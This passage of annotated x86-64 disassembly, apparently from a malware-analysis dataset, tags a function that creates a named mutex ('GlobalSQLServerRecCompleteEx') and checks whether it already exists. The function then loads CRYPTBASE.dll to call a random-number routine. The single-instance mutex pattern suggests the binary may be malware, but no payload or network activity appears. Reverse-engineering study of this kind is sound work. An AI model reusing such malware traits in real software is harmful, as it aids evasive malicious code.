mov rax, qword [rbp - 0x48]
call rax
mov eax, 0
jmp 0x3978a15fd
nop
nop
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x3978a1621
Capabilities:
Check mutex on windows
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea r8, str.GlobalSQLServerRecCompleteEx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x3978a167f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
setne al
test al, al
je 0x3978a166f
call fcn.3978a13f9
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.C:WindowsSystem32CRYPTBASE.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, [0x39795808a]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov r8, qword [rbp - 0x10]
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov rcx, rax
call r8
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret